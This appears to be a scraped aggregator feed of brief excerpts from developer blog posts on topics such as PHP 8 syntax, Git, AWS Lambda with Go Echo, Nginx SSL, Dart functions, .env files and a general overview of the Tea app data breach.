    Navigate the sunlit paths of Solana's blockchain, where speed meets innovation in a symphony of decentralized finance that outpaces rivals, turning the network into a beacon for traders and developers alike. As Solana cements its status as a high-throughput powerhouse, its DeFi sector explodes, drawing billions in liquidity through protocols that prioritize efficiency and accessibility. Solana's DeFi ecosystem has transformed from a promising contender to a dominant force, leveraging its low fees and rapid transaction speeds to attract a flood of users and capital. By mid-2025, the network's Total Value Locked (TVL) has climbed to over $14 billion, inching toward the $15 billion mark amid a broader crypto recovery. This growth stems from enhanced scalability updates, enabling seamless hand…  ( 7 min )
    How to Write a Great Software Engineering CV (With Free Template)
    Your CV isn’t a memoir — it’s a spec sheet. I’ve been on both sides of the hiring table in tech and I keep seeing the same issues crop up again and again. So I decided to condense everything I’ve learned into one clear and simple guide. As a bonus, I put together a CV template to go with it. Use a clean, readable format (no fancy colours, no 2-column designs). Lead with your impact. Show what you did, not what you were “responsible for”. Quantify everything: “improved p99 latency by 80%”, “increased conversion by 1.5%”. 1–2 pages max. PDF only. Use a real filename. Tailor your CV to the role (and stack) you’re applying to. I’ve turned this advice into a downloadable Google Docs template you can copy and make your own. It’s based on my own CV so it’s tried, tested, and continuously improved. Link: Download the CV Template If you want the full article that goes into CV anatomy, red flags to avoid, and formatting tips, I’ve written that up here: How to Write a Great Software Engineering CV Your CV’s only job is to earn you a conversation. Make it clean. Make it focused. Make it easy for someone to say: “We should interview this person.” Looking for high-quality tech jobs? Check out findatechjob.dev for a blazing-fast search over thousands! If this helps, drop a comment or feel free to share your own CV tips below.  ( 6 min )
    nullsafe operator , named arguments, constructor property promotion
    Nullsafe Operator (?->) ✅ Purpose: Safely access a property/method only if the object is not null. // Without nullsafe $name = $user && $user->profile ? $user->profile->name : null; // With nullsafe $name = $user?->profile?->name; ✅ Use it to simplify deep object access that might be null. Named Arguments ✅ Purpose: Call functions using argument names instead of relying on order. Named arguments were introduced in PHP 8.0, released on November 26, 2020. ✅ Key Details: Order doesn't matter, as long as required arguments are passed. Great for optional parameters and readability. function sendMail($to, $subject, $message) {} sendMail( to: 'user@example.com', message: 'Hello!', subject: 'Welcome' // ✅ Order doesn’t matter! ); e.g : function createUser(string $name, int $age, string $role = 'user') { return "$name is $age and has role $role"; } echo createUser(age: 25, name: 'Raza', role: 'admin'); ✅ Great for readability, especially with many optional parameters. Constructor Property Promotion ✅ Purpose: Auto-declare and assign class properties from the constructor. old way : before php 8.0 class Product { public string $name; public int $price; public function __construct(string $name, int $price) { $this->name = $name; $this->price = $price; } } new way: not support for previos versions of php before 8.0 class Product { public function __construct( public string $name, public int $price ) {} } 🧠 Benefits: Makes class definitions cleaner and easier to read. Supports visibility modifiers (public, protected, private) and default values. 🔍 Notes: Works with typed properties (which were introduced in PHP 7.4). Promoted properties must have a visibility modifier (public, private, or protected).  ( 6 min )
    Introducing Community Links: Share your favorite resources
    We’re excited to introduce a brand-new feature: Community Links — a simple yet powerful way to share your favorite plugins, articles and resources with the rest of the community. Whether you stumbled upon a helpful blog post, launched your own side project, or discovered a time-saving tool, you can now submit it directly to the community — and we’ll help spread the word. Not registered yet? 👉 Create your account here Ready to share? 👉 Submit a new Community Link Browse all shared links 👉 See public Community Links We’ve made it quick and easy, with a simple form to add your title, URL, and a short comment. Selected Community Links are featured in our newsletter , giving your submissions the visibility they deserve. Each link is automatically tracked, so you can see how many clicks your shared resource received. Whether you're a content creator or just want to support cool stuff, Community Links is the easiest way to contribute. Want to know if your link is getting attention? You’ll find a simple dashboard that tracks the number of clicks on your links — perfect for measuring engagement and visibility. No need to write long articles — just share a cool link Get visibility through our newsletter Help others discover useful tools, insights, and projects Track performance with click counts If you enjoyed this feature, don’t forget to give this article a like and share it with your network — let’s grow the community together! 🚀  ( 6 min )
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    The Foundations of Web3: Cryptocurrency, Ethereum, and Smart Contracts Concepts Explained Loading Blocks ・ Aug 3 #web3 #blockchain  ( 5 min )
    Adam Savage's Tested: How Adam Is Hansi But Martina Is Jamie (with @nerdforge!)
    In this live stream highlight, Adam Savage teams up with Nerdforge’s Martina and Hansi to compare US vs. Norwegian craft supply scenes and debate whether you start a project by picking your favorite tool or letting the idea take shape. They dive into fan questions on everything from where gigantic builds end up after filming to an update on Martina’s prosthetic pinky. Plus, there are links to bucket-list videos—watch Adam react to Nerdforge’s builds, void his sewing-machine warranty, and tackle a one-day model paint rack sprint. Subscribe for more maker madness and behind-the-scenes fun! Watch on YouTube  ( 5 min )
    OpenAI.fm! OpenAI's Newest Text-To-Speech Model - Proje Defteri
    Hello friends! Today I'll be talking about OpenAI's newly released next-generation audio models. These models are taking the interaction between AI and voice to a completely new level! OpenAI has been working on text-based agents for the past few months - like Operator, Deep Research, and Computer-Using Agents. But to create a true revolution, people need to be able to interact with AI in a more natural and intuitive way. That's why they've made a huge leap in audio technologies. The newly released models are: GPT-4o-transcribe and GPT-4o-mini-transcribe: Advanced models that convert speech to text GPT-4o-mini-tts: A new model that converts text to speech and even lets you adjust speaking style The new gpt-4o-transcribe and its smaller sibling gpt-4o-mini-transcribe offer much better perfo…  ( 11 min )
    Why Vast Data's $30 Billion Valuation Could Transform AI Infrastructure Investments
    In the rapidly evolving landscape of artificial intelligence, the importance of robust funding milestones cannot be overstated. As competition heats up among startups, particularly in the field of AI infrastructure, securing investment becomes a defining factor for success. One of the front-runners in this race is Vast Data, a company at the intersection of cutting-edge technology and substantial capital influx. Currently in talks to raise funds that could value the company at an impressive $30 billion, Vast Data exemplifies the growing trend of major investments in AI data storage solutions. The significance of investing in AI infrastructure, like that provided by Vast Data, extends beyond mere financial metrics. As AI capabilities expand, so does the need for efficient data centers cap…  ( 14 min )
    Why Every New Framework Feels the Same (And Why That’s a Good Thing)
    Walk into any developer meetup or scroll through tech Twitter, and you’ll hear the same buzz, such as “Have you tried Next.js 15?” “Are you using LangChain agents?” “Still not deploying with Kubernetes?” In today’s fast paced tech world, it’s easy to feel like you’re always behind. But here’s the secret, nearly every trendy technology is built on the same core computer science fundamentals. These tools might come with fresh branding or advanced features, but underneath, they rely on the same principles software engineers have used for decades such as data structures, design patterns, software architecture, and basic best practices. Let’s explore how this plays out across the tools we use today. Modern frameworks often look complex, but they’re really just abstractions built on top of fo…  ( 8 min )
    Unlocking Git's Power: Go Beyond git push & git pull
    Hey Devs! In my latest blog post, I take a deep dive into the most useful Git commands that developers often overlook. This isn't just another list — I explain the why, when, and how behind each command so you can work smarter. What You’ll Learn: Inspect your Git history like a pro Cherry-pick changes between branches Deal with merge conflicts confidently ...and more! Read the full article here: https://techwithrohit2678.hashnode.dev/20-most-used-git-and-github-commands-every-developer-should-know-with-detailed-examples Let’s make Git work for you, not against you. 💬 I'd love to know your favorite Git command or trick — drop it in the comments below!  ( 5 min )
    The Foundations of Web3: Cryptocurrency, Ethereum, and Smart Contracts Concepts Explained
    Cryptocurrency Core Concept What is a Cryptocurrency? Cryptocurrency is a type of digital-only currency. It uses cryptography to ensure the security of transactions. Its core feature is decentralization, meaning it is not controlled or issued by a central bank. Feature Cryptocurrency Fiat Currency Issuer Decentralized network, generated through mining and consensus mechanisms Central bank Form Purely digital and virtual Physical form (cash, coins) and digital forms Value backed by Community consensus, technology, and supply-demand dynamics Government credit and trust Control Distributed among network participants Fully controlled by central institutions A white paper is the official explanatory document of a crypto project, released by the development team. It …  ( 7 min )
    Three ways on how you can remove sensitive fields from mongodb queries...
    Working on my MERN stack project (which I will reveal in the future), I came across an issue that almost everyone faces at least once when dealing with Mongoose and MongoDB queries. It happens when we query some result from MongoDB, and the result contains sensitive information that we do not want to share with the client. I searched for solutions and found some simple ways to avoid this: ._doc object from the MongoDB response if (newUser) { const { password: pwd, ...responseData } = newUser._doc; // <-- res.status(201).json({ msg: "User created successfully.", user: responseData // user: newUser }) } Here, by using the ._doc object, you can separate the password from the rest of the data and return only the safe response data, without worrying…  ( 6 min )
    My AI Pit Crew: Building a Production App in a Single Stop
    Ever have an idea for a web app but get bogged down by the setup before you even write a single line of application code? I’ve been there. This time, while catching up on the F1 highlights from last weekend’s race, I decided to try something different. I built a single-page web application that queries a GraphQL API, and I did it almost entirely within the Amazon Kiro IDE, leaning heavily on a concept called spec-driven development. This is the story of how I went from a simple idea to a solid architectural plan in minutes. My journey started with a chat. Not with a colleague, but with Kiro. True to its friendly ghost icon, the AI felt like an invisible helper ready to assist. I had a clear goal in mind: Frontend: Build a Single-Page Application (SPA) hosted on AWS S3 and served via CloudF…  ( 13 min )
    How to Create a Custom LinkedIn Frame to Stand Out in 2025
    Open your LinkedIn feed. You'll see a sea of professional headshots, all blending into a uniform blue and white landscape. But every so often, a profile picture catches your eye. It has a subtle ring of color, a word, or a simple design. That small detail is a LinkedIn Frame, and it’s one of the most underutilized tools for personal branding on the platform. While LinkedIn offers default frames like #OpenToWork or #Hiring, they are generic. Imagine, instead, a frame that uses your brand's colors, promotes your latest project, or announces your role as an event speaker. This is more than just decoration; it's a strategic way to communicate your value before anyone even clicks on your profile. This guide shows you why it matters and how you can create your own in less than a minute. In the …  ( 7 min )
    The Untold Story of My Home Server - A Journey Through Self-Hosted Services
    Originally Posted on Ashraful's Blog Before diving into the services, let’s talk about why I set up a home server. Cloud services like Netflix, Google Drive, or Evernote are convenient, but they come with recurring costs, privacy concerns, and dependency on someone else’s infrastructure. A home server lets me host my own media, back up my photos, manage my network, and even run custom apps—all on my terms. My setup runs on a (mini pc bought from Amazon) Ubuntu machine with Docker, making it easy to manage and scale. Here’s a look at the services that make it tick. Immich is my go-to for backing up and managing photos and videos. Think Google Photos, but self-hosted, private, and free. Why I Chose It: Immich offers automatic backups, face recognition, and a clean mobile app, all without sen…  ( 10 min )
    The Tea app data breach: What really happened?
    What Really Happened in the Tea App Data Breach (And Why Principles Matter) In July 2025, the Tea app suffered two major data breaches — and both were preventable with basic engineering practices. Let's break it down technically. Tea is a social-feedback app. Its backend likely had: A mobile frontend using React Native or Swift/Kotlin A REST API gateway (Node.js, Python, or Firebase Functions) Firebase for authentication and user management Firebase Cloud Storage for images and ID uploads A NoSQL database (Firestore or similar) for messages and posts Here’s the catch: Firebase allows direct access to storage and database, bypassing your API if you don’t lock things down explicitly. Firebase Storage lets mobile apps upload/view files directly using SDKs or URLs. It uses Firebase Security …  ( 6 min )
    Socialite ReCall
    I’m excited to share my latest open‑source package: Socialite ReCall 🎉 If you’ve ever found yourself duplicating redirect and callback logic for multiple Socialite providers (Google, GitHub, Facebook, etc.), this package is built for you. ✨ What Socialite ReCall Does Handles redirects, callbacks, and logouts for any Socialite provider. Keeps your controllers clean — no more boilerplate OAuth logic. Easy to configure, provider‑agnostic, and ready for quick integration. 📦 Get Started Perfect — thanks for pasting the current README 🙌 Usage section so it’s clear, beginner‑friendly, and flows nicely (while keeping your kebab‑case config). composer require cleaniquecoders/socialite-recall php artisan socialite-recall:install This will publish a config file: config/socialite-recall.php Update…  ( 8 min )
    🧱 Building a Modular ERP System with Laravel 10
    In a recent project, I refactored a custom ERP system that had grown over two years. It was time to clean up the monolithic structure and prepare it for scale. Here's how I redesigned the architecture using a modular approach with Laravel 10 and PHP 8.2. As more features were added—purchase inquiries, document management, RFQ workflows, role permissions—the codebase started feeling heavy. Controllers became bloated. Files were scattered. We needed a better way to scale without chaos. I used nWidart/laravel-modules, a well-maintained package that enables Laravel to support modular structure out of the box. Each feature was moved into its own module: Inquiry module – manages purchase requests and workflows Document module – handles categorized file uploads (tech, inquiry, PO, etc.) RFQ modules – separate for Sales and Procurement User & Roles module – integrated with Spatie Permissions 🛠️ Key Tools & Techniques Service-Repository Pattern for separation of concerns Swagger/OpenAPI for documenting each module's API Laravel Sanctum for secure authentication Spatie MediaLibrary for handling file uploads Custom Middleware for module-based permissions Database migrations scoped per module After refactoring: The codebase became easier to test and extend Teams could work in parallel on isolated modules Adding new features doesn’t require editing 10 unrelated files CI/CD pipeline was adjusted to test modules independently If you’re building a long-term Laravel project with growing complexity, don’t wait too long to go modular. It’s an upfront effort, but it pays off as your system scales. Let me know if you'd like me to share a sample structure or even turn this into a starter template. Always happy to contribute back to the community.  ( 6 min )
    Getting your product to the right people
    And here we are in the final article of the product management lifecycle series, inspired by the Stanford course, "Product Management: Transforming Opportunities into Great Products." In this series, we’ve been walking through the product lifecycle, not just from a theoretical standpoint, but through the lens of what it takes to bring ideas to life in a way that makes sense for users, teams, and businesses. A recap of what we’ve covered so far: What product management is Clarifying product vision Translating strategy into roadmaps Understanding the product lifecycle Designing user-centered solutions Navigating the build phase Launching with clarity We now arrive at the final core phase in the product lifecycle: Go-to-Market (GTM). If launching is the first conversation with…  ( 8 min )
    Created a notion template for Detailed Software Engineering Notes
    Software Engineering Notes Access link: https://mohitms.gumroad.com/l/sbahoa In this post, I will be sharing my Software Engineering Notes which I have accumulated over the course of 3 years working in startups and open source programs. I have spent too much time learning courses and using active recall so that I could learn interesting and complex concepts easily.  ( 5 min )
    Are your new customers quietly dropping off shortly after buying?
    We’re connecting with B2B SaaS founders building self-serve or freemium products to learn how they tackle this early drop-off. As part of this, I’m offering a few free product audits with quick wins to help boost engagement and retention. If you’d like to explore this, drop a comment or DM me.  ( 5 min )
    🚀 Just Shipped: Client Portal for V1‑ERP
    Hey Devs 👋 Big update from my V1‑ERP project — I’ve added a Client Portal that lets clients: ✅ Track project progress & reports ✅ Drop comments & feedback ✅ Receive weekly reports automatically ✅ Access files, milestones, tasks, and budgets ✅ Collaborate with teams without logging into the ERP All it takes is their email — and boom 💥 full visibility, zero friction. 💡 Why This? ✅ HRMS Module Done 🧩 What’s Next? And yes… Repo: Github Would love your thoughts, feedback, or memes 🙌  ( 5 min )
    Learn Azure Fast: VM, Network & Storage Setup in 60 Minutes
    If you have never used Microsoft Azure before, this guide will show you how to set up some basic resources in less than one hour. A Resource Group (a folder to keep everything together) A Virtual Network (a private network inside Azure) A Virtual Machine (a computer you can use in the cloud) A Storage Account (a place to save files and data) What You Need Before Starting A Microsoft Azure account (you can use the free trial) Internet access and a web browser Around one hour of time Step 1 – Create a Resource Group A Resource Group is like a folder where all your project’s Azure items will be stored. It makes it easier to manage and delete everything later. Go to Azure Portal In the search bar at the top, type Resource Groups and select it Click Create Enter: Resource group name:** guided…  ( 6 min )
    Amazon API Gateway Observability Best Practices with Datadog
    AWS API Gateway is a fully managed service from AWS that allows you to create, publish, and maintain APIs at any scale. It acts as a gateway to your application's backend services, including AWS Lambda, EKS, ECS, EC2, and more. You can explore the full documentation here: here To make sure we’re aligned on the fundamentals, I’ve created an API Gateway Essentials summary below. It gives you a quick overview of the core capabilities this service offers. The main objective of this blog is to walk through how to monitor and observe AWS API Gateway using Datadog — one of the leading observability platforms that provides full-stack visibility into AWS environments. Before diving in, a quick refresher: API Gateway Logs Once logging is enabled, you can configure API Gateway to send logs to Datad…  ( 7 min )
    AI Is Not Replacing Developers — It’s Just Exposing the Frauds
    Every few years, the tech world picks a new scapegoat. This time, it’s AI. “AI will replace developers,” they scream. “Coding will be obsolete in five years!” We’ve seen this movie before, and spoiler: it never ends how the doom prophets say it will. But this time, the panic isn’t just coming from clueless outsiders. It’s coming from developers themselves — or at least, people who play one on LinkedIn. Let’s break this down. Remember when the following were supposed to end programming as we knew it? Visual Basic (early 2000s): “You won’t need programmers anymore.” Still waiting. Dreamweaver & Wix (2010): “Just drag and drop, no dev needed!” Every startup still needs engineers. jQuery & Bootstrap (2012): “Frontend is just plug-and-play now.” React, Angular, and Vue would like a word. …  ( 8 min )
    The Era Of Ai - Introduction To Vibe Coding -Chapter 5
    ✉️ Chapter 5: The Letter to the Developer Final Chapter – The Era of AI, Volume 1: Introduction to Vibe Coding Dear Developer, This is not just a chapter — it’s a mirror. A moment of stillness between all the rushing keystrokes and the infinite scroll of tech news. It’s you, alone with the code, hearing the hum of AI in the background — but listening for something deeper. Let’s call it: the vibe. In this first volume, we explored what it means to be a developer in the era of AI. Not just in terms of tools or trends — but in terms of energy, intent, and creation. You’ve probably felt it: The shift from coding as a chore to coding as a canvas. The realization that GPT, Copilot, and other models don’t reduce your value — they reveal it. That being a “developer” today means being a vi…  ( 7 min )
    How to Compile from Source Code in Linux
    The standard process for compiling and installing an application from source usually follows these steps: Download and Extract: Download the source code, which is usually a compressed archive (.tar.gz, .tar.bz2, etc.). Configure: Run the ./configure script (if it exists) to check for dependencies and prepare the Makefile. ./configure Compile: Run the make command to compile the code. make Install: Run sudo make install to install the final binary and its associated files to the system. sudo make install Important Note: Always check the README or INSTALL files that come with the source code, as the build process can vary significantly between projects. For local installation ./configure --prefix=$HOME/.local make make install Cmake Build software application using CMake: mkdir build cd build Configure with a CMAKE_INSTALL_PREFIX: You specify the installation directory when running cmake. cmake .. -DCMAKE_INSTALL_PREFIX=$HOME/.local The .. tells cmake to look for the CMakeLists.txt file in the parent directory. Compile and Install: make make install Making the Binaries Accessible After a local installation, the executable files are in a directory like ~/.local/bin, but your shell might not know where to find them. To fix this, you need to add this directory to your PATH environment variable. You can do this by adding the following line to your shell's configuration file (e.g., ~/.bashrc or ~/.zshrc): export PATH=$HOME/.local/bin:$PATH  ( 6 min )
    Amazon Q Developer Custom Agents
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    Dart Lesson 6: Advanced Functions - Higher-Order Functions and Closures
    Today, we'll dive into advanced function features — higher-order functions and closures. These are core concepts in Dart's functional programming paradigm, making code more concise and flexible, and are essential techniques in Flutter development. A higher-order function is a function that can accept other functions as parameters or return a function as a result. Simply put, it's a function that "operates" on other functions. When functions are passed as parameters, we can abstract common logic, making functions more extensible. Example: Generic Calculation Framework // Higher-order function: accepts two numbers and an operation function void calculate(int a, int b, int Function(int, int) operation) { int result = operation(a, b); print("Calculation result: $result"); } // Define spec…  ( 9 min )
    [Share Data / Python Lib] Thư viện chuẩn hóa & chuyển đổi đơn vị hành chính Việt Nam
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    How to Configure SSL Certificates in Nginx for Secure HTTPS Connections
    Why SSL/TLS Matters Securing your website with HTTPS is no longer optional—it's essential. SSL/TLS certificates: Encrypt data between users and your server 🔒 Boost SEO rankings (Google favors HTTPS sites) Build user trust with browser padlock icons ✅ Prevent "Not Secure" warnings in browsers Before starting, ensure you have: Nginx installed on your server A registered domain name pointing to your server SSL certificate files (certificate, private key, and CA bundle) 💡 Pro Tip: Get free certificates from Let's Encrypt or purchase from trusted CAs like DigiCert/Sectigo. Place your certificate files in a secure directory: sudo mkdir /etc/nginx/ssl sudo cp your_domain.crt /etc/nginx/ssl/ sudo cp your_domain.key /etc/nginx/ssl/ sudo cp ca_bundle.crt /etc/nginx/ssl/ # If provided Edit your…  ( 6 min )
    Codon sentience
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    Fixing “Uncontrolled   Controlled” Input Warnings in React 19
    A deep dive into controlled vs uncontrolled inputs, why the warning fires, and bullet‑proof patterns for enterprise‑grade forms. Warning: A component is changing an uncontrolled input to be controlled. This is likely caused by the value changing from undefined to a defined value… React saw an without a value prop on the first render (uncontrolled). On a later render it did receive value={something} (controlled). React doesn’t know which behaviour you want, so it complains. Behaviour What it means Typical JSX Uncontrolled DOM keeps its own state; React reads via refs / defaultValue Controlled React state is the single source of truth setName(e.target.value)} /> 🧪 Litmus test: Does the input’s value liv…  ( 7 min )
    AI-Powered Code Generation from Ideas for Swift
    Leveraging AI for Swift Development The world of software development is changing fast, and Swift isn't being left behind. AI tools are popping up everywhere, promising to speed things up and make coding easier. For Swift developers, this means new ways to build apps for Apple devices. Think of it like having a super-smart assistant who can help with the repetitive stuff, letting you focus on the really creative parts. Tools like Codia Code - AI-Powered Pixel-Perfect UI for Web, Mobile & Desktop in Seconds are starting to show what's possible, generating user interfaces quickly. This shift is exciting, but it also means we need to understand how to use these tools right. The Rise of AI-Assisted Swift Development AI, especially through large language models (LLMs), is changing how we write …  ( 9 min )
    [Boost]
    Running a Go Echo Web App on AWS Lambda (Serverless) with Minimal Changes Huỳnh Lê Nhất Nghĩa ・ Aug 3 #go #aws #developer #serverless  ( 5 min )
    Overcoming Imposter Syndrome: A Guide for New Developers
    Introduction: The Shadow That Follows Every Developer Hey fellow developers! Rhythm Saha here, and I'm the founder of NovexiQ, my web development agency where we build modern web applications. As a fullstack developer and a final-year MCA student right here in Santipur, West Bengal, my tech journey's been incredibly rewarding. But honestly? It hasn't been without its silent battles. Today, I want to talk about something almost every developer, especially new ones, faces at some point: imposter syndrome. It's that nagging feeling, isn't it? The one that tells you you're not good enough, that you're totally faking it, and that any moment someone will discover you're a fraud. Despite your accomplishments, you doubt your skills and fear being exposed as a 'phony'. Trust me, I've been there, …  ( 11 min )
    Running a Go Echo Web App on AWS Lambda (Serverless) with Minimal Changes
    🌎 Introduction Deploying a Go Echo application to AWS Lambda allows you to leverage a serverless architecture – no server management, auto-scaling, and pay-per-use pricing. Traditionally, Echo apps run as HTTP servers on their own ports, but Lambda functions are invoked by events (like API Gateway HTTP requests). In this guide, we’ll integrate the Echo framework with Lambda’s API Gateway event trigger, enabling your existing routes to run on Lambda with minimal code changes. We assume you already have a Go Echo app (or at least basic familiarity with Echo) and focus on adapting it for serverless deployment. Running Echo on Lambda brings the benefits of quick scaling and minimal idle cost. Thanks to Go’s fast startup and the efficiency of Echo, the performance overhead is small – Go is a…  ( 18 min )
    Rahasia Efisiensi AI Terungkap! Ini Cara LLM Routing Memilih LLM Paling Cerdas untuk Kebutuhan Anda
    Di tengah derasnya arus inovasi teknologi, institusi pendidikan dihadapkan pada dua tantangan utama: bagaimana memanfaatkan kecerdasan buatan (AI) secara optimal, dan bagaimana memastikan penggunaan sumber daya yang efisien. Khususnya dengan Model Bahasa Besar (LLM) yang semakin canggih, biaya operasional bisa melambung jika tidak dikelola dengan bijak. Setiap interaksi, setiap permintaan, dan setiap penggunaan LLM memiliki implikasi biaya dan performa yang signifikan. Artikel ini akan mengungkap ‘Rahasia Efisiensi AI’ melalui konsep krusial: LLM Routing. Anda akan memahami mengapa memilih LLM yang tepat untuk setiap tugas bukan lagi sebuah kemewahan, melainkan sebuah keharusan strategis. Kami akan membahas apa itu LLM Routing, bagaimana mekanisme kerjanya, kriteria apa yang menjadi penent…  ( 12 min )
    The Importance of Exoskeletons in Medical Rehabilitation and Mobility for the Disabled
    In the ever-evolving landscape of medical technology, exoskeletons have emerged as a groundbreaking solution for enhancing mobility and rehabilitation for individuals with physical disabilities. These wearable, robotic devices are designed to support or mimic human movement, offering renewed independence and functionality to those affected by spinal cord injuries, stroke, muscular dystrophy, or age-related conditions. As the global population ages and the need for inclusive healthcare grows, exoskeletons are proving to be a vital tool in transforming rehabilitation therapy and improving quality of life. Exoskeletons work by combining advanced actuators, sensors, and control systems to assist users in performing walking, standing, or lifting motions that might otherwise be impossible. For p…  ( 6 min )
    Why .env and .env.local Files Are Crucial in Modern Development Projects
    Ever wondered how applications know your API keys, secret tokens, or database credentials without hardcoding them into your code? That magic comes from environment variables. And in many modern web development projects (especially in Node.js, React, Next.js, etc.), we use .env and .env.local files to store these values. Let’s break down what these files are, why they’re important, how they’re different, and some best practices to follow! A .env file is a simple text file that stores environment variables in a key-value format. Example: DATABASE_URL="postgres://user:password@localhost:5432/mydb" API_KEY="12345-abcdef" PORT=3000 These variables can then be accessed inside your app using tools like dotenv in Node.js or automatically in frameworks like Next.js, React, or Vite. Here’s why .env…  ( 7 min )
    The Science Behind Nuclear Bombs: How the Most Powerful Weapons on Earth Work
    Introduction Nuclear bombs are among the most powerful and destructive technologies ever created. Capable of annihilating entire cities in seconds, their existence has shaped the course of history and global politics since World War II. But behind their unimaginable force lies a deep well of physics, from atomic structure to chain reactions and nuclear fusion. This article explores how nuclear bombs work, the science that powers them, and the difference between their main types. At their core, nuclear bombs release energy stored in the nuclei of atoms, the tiny centers of matter that contain protons and neutrons. This energy comes from either splitting heavy atoms apart (called fission) or fusing light atoms together (called fusion). In both cases, the process converts a small amount of …  ( 7 min )
    Toward a Smarter Future: Why Guyana Needs Sector-Specific ICT Training
    As the world advances technologically (and Guyana along with it), it is imperative that development does not happen in silos. Every sector, whether it be agriculture, education, health, governance, or others, relies on technology to grow, connect, and deliver. But for effective digital transformation to truly succeed in Guyana, I believe we need more than scattered projects and isolated initiatives. We need a unified national strategy, a National Digital Development Agenda. This agenda would serve as a cross-sector plan that unifies ministries, agencies, and communities under one shared vision for digital progress. While it is true that, recently, there has been a large push toward ICT and technical fields as a whole, and that this has had a positive effect on creating a more technically f…  ( 8 min )
    Timeshift for Linux (System Restore)
    https://github.com/linuxmint/timeshift Timeshift for Linux is an application that provides functionality similar to the System Restore feature in Windows and the Time Machine tool in Mac OS. Timeshift protects your system by taking incremental snapshots of the file system at regular intervals. These snapshots can be restored at a later date to undo all changes to the system. Timeshift is designed to be flexible. When you configure a new backup location, it doesn't just dump all the files in the root of the drive. It creates a dedicated folder structure that is unique to the operating system it's backing up. This is what makes it safe to use a single external drive for multiple systems. Timeshift's Magic: Timeshift is smart enough to see that the timeshift directory already exists on the drive. It will then create a new subdirectory inside of it to store the backups for the second computer. For example, your external drive's folder structure will look something like this: Timeshift-Backup/timeshift/ The hostname1 and hostname2 folders are created automatically by Timeshift to separate the backups for each machine. This ensures there are no file conflicts or overwrites. Create the First Snapshot: After configuration, create your first snapshot on Computer 2.  ( 5 min )
    Building a Data Mart in Amazon Redshift: A Practical Guide
    Problem Teams using Amazon Redshift often struggle with a paradox: they know Redshift excels at analytical workloads and can support focused data marts, but when it's time to build one, they face decision paralysis. Should they create a full enterprise data warehouse? Use flat tables? Which Redshift features actually matter? The lack of clear, practical guidance leads to projects that either become overly complex with unnecessary ETL pipelines and modeling layers, or overly simplistic with denormalized tables that become unmaintainable as data grows. A data mart is a subject-focused subset of your organization's data designed to serve specific analytical needs—think sales performance, customer behavior, or financial reporting. Unlike a comprehensive data warehouse that tries to model eve…  ( 10 min )
    Most of Us Hate Writing Meta Tags. So I Built a Tool to Fix It.
    As developers, we love to build. We love solving complex problems with elegant code. What we don't always love is the "other stuff" that comes with shipping a project—like SEO. And let's face it, manually writing a dozen meta tags for every single page is tedious, repetitive, and easy to get wrong. I can't count the number of times I've launched a personal project, shared it on Twitter, and been greeted by a blank, ugly link preview. Why? Because I forgot to add the right Open Graph or Twitter Card tags. It’s a small detail, but it makes your project look unprofessional. This exact frustration is what led me to build a simple solution. Before I show you the solution, let me briefly introduce the project it's a part of. ToolsFo.site is my personal collection of over 30 free, client-side too…  ( 6 min )
    Stop the Debate: **When to Use `FC` vs Inferred Arrow Functions in React + TypeScript**
    When to Use FC vs Inferred Arrow Functions in React + TypeScript Turning a two‑line snippet into a masterclass on generics, JSX.Element return types, and bundle hygiene. Style Snippet Pros Cons Inferred Arrow export const GifList = ({ gifs }: Props) => … 🧬 TypeScript infers props; slimmer bundle; flexible return type Must annotate return type yourself if you care; no built‑in children FC export const GifList: FC = ({ gifs }) => … Auto‑adds children, propTypes, defaultProps; readable to TS newcomers Adds an extra import + generic; can hide implicit children; historically caused undefined JSX return edge cases interface Gif { id: string; url: string; title: string; width: number; height: number; } interface Props { gifs: Gif[]; } export con…  ( 7 min )
    The World’s Most Blessed Hour: What the Qur’an, AI, and Steve Jobs Reveal About Peak Human Performance
    Have you ever wondered if there’s a specific time in the day when your mind, body, and soul are aligned in perfect harmony? A time when spiritual energy is highest, mental clarity is unmatched, and breakthroughs—both divine and intellectual—are waiting to happen? This might sound like spiritual fiction, but what if I told you that: The Qur’an refers to this time as the most “blessed” of all hours. Coincidence? Or is there a deeper, universal pattern at play—one that religion, science, and success have all quietly agreed upon for centuries? The MIT Breakthrough That Shocked the Scientific Community Their key finding? There exists a specific 90-minute time window early in the morning when the brain’s performance increases by over 340% across parameters like memory, problem-solving, focus, an…  ( 9 min )
    Dart Lesson 5: function base - the smallest unit of code reuse
    Today we're going to learn about functions - the smallest unit of code reuse in Dart. Functions are like "code modules" that encapsulate reusable logic, making programs more concise and maintainable. A function is a block of code that performs a specific task. In Dart, defining a function requires specifying its return type, name, parameter list, and body. returnType functionName(parameterList) { // Function body (code to execute) return returnValue; // Must match returnType } Return Type: If a function returns a value, specify its type (e.g., int, String). If it doesn't return a value, you can omit the type or specify void. Function Name: Follows camelCase naming convention (starts with lowercase, subsequent words start with uppercase), like calculateSum or printMessage…  ( 9 min )
    I Wasted a Day on My AI's Bad Idea, And It Was Worth It
    It started with a YouTube tab open. I was watching the Pragmatic Engineer interview with Kent Beck, and something he said I agreed with: Test driven development (TDD) is a “superpower” when working with AI agents. AI agents can (and do!) introduce regressions. An easy way to ensure this does not happen is to have unit tests for the codebase. Kent Beck - Pragmatic Engineer Podcast I see this time and time again in my own use of AI coding agents. At times they are extremely helpful and get the task done as asked, other times they go off the rails and end up breaking everything. The only tool that I know of to help keep them on track is TDD, the "superpower" Kent Beck talked about during his interview. After watching the interview and noodling on the idea of how to keep agents on track, this …  ( 11 min )
    Problem of using GitHub Co-pilot
    In a way we all use AI in editor such as Cursor AI, GitHub Co-pilot, Replit etc. But using these tools have a one little but very impactful disadvantage for the beginners who just kept their first step in coding. Which is not writing code by self. I have seen a lot of students who got overwhelmed, and think that they are writing the code but in reality that's not the case. So in this post i am going to show about a way through which a one can disable or enable the AI suggested code (for VS Code only) so that you will be not getting suggestion from AI. Let's jump into it 🏃‍♂️💻 ctrl + shift + p ⌨️ 3. Search for "GitHub: Toggle(Enable/Disable) Completions" 🔍 Yep, that's it. Now You can toggle the code completion by using your chosen shortcut key 🔁 I hope you have liked this post 😊 HAPPY BIRTHDAY & HAPPY CODING ! 🎉🎂👨‍💻  ( 5 min )
    Dart Lesson 3:Collection Types (Part 1) — Using List and Set
